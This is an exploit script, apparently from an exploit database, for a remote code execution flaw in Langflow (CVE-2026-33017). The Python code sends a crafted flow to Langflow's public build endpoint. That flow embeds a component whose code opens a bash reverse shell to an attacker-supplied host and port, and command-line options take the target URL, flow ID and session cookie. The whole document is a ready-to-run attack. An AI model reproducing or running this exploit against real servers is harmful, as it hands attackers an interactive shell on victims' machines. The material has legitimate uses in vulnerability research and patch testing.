Langflow 1.9.0 - RCE

# Exploit Title:  Langflow 1.9.0 - RCE
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: < 1.9.0
# Tested on: Debian
# CVE : CVE-2026-33017


import asyncio
import httpx
import argparse
from urllib.parse import urljoin


async def main(target, flow_id, lhost, lport, client_id):
    async with httpx.AsyncClient(verify=False) as client:
        data= {
            "data": {
                "nodes": [
                    {
                        "id": "Exploit-001",
                        "type": "genericNode",
                        "position": {"x": 0, "y": 0},
                        "data": {
                            "id": "Exploit-001",
                            "type": "ExploitComp",
                            "node": {
                                "template": {
                                    "code": {
                                        "type": "code",
                                        "required": True,
                                        "show": True,
                                        "multiline": True,
                                        "value": f"import os\n\n_x = os.system(\"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={{}})",
                                        "name": "code",
                                        "password": False,
                                        "advanced": False,
                                        "dynamic": False
                                    },
                                    "_type": "Component"
                                },
                                "description": "X",
                                "base_classes": ["Data"],
                                "display_name": "ExploitComp",
                                "name": "ExploitComp",
                                "frozen": False,
                                "outputs": [
                                    {
                                        "types": ["Data"],
                                        "selected": "Data",
                                        "name": "o",
                                        "display_name": "O",
                                        "method": "r",
                                        "value": "__UNDEFINED__",
                                        "cache": True,
                                        "allows_loop": False,
                                        "tool_mode": False,
                                        "hidden": None,
                                        "required_inputs": None,
                                        "group_outputs": False
                                    }
                                ],
                                "field_order": ["code"],
                                "beta": False,
                                "edited": False
                            }
                        }
                    }
                ],
                "edges": []
            },
            "inputs": None
        }
        cookies = {"client_id":client_id}
        url = urljoin(target, f"/api/v1/build_public_tmp/{flow_id}/flow")
        try:
            r = await client.post(url=url, json=data, cookies=cookies)
            print(f"[+] Request Request completed with status: {r.status_code}")
        except httpx.ReadTimeout:
            print("[+] Shell is done")

parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-33017")

parser.add_argument('-l', '--lhost', required=True, help="Attacker local ip address.")
parser.add_argument('-p', '--lport', required=True, help="Attacker local port.")
parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1/")
parser.add_argument('-f', '--flow-id', required=True, help="Target flow ID in Langflow (e.g., abc-123-def). Obtained from /api/v1/flows/ or the UI URL")
parser.add_argument('-c', '--client-id', required=True, help="Client ID for Langflow session (used as cookie 'client_id').")

args = parser.parse_args()

if __name__ == '__main__':
    asyncio.run(main(args.url, args.flow_id, args.lhost, args.lport, args.client_id))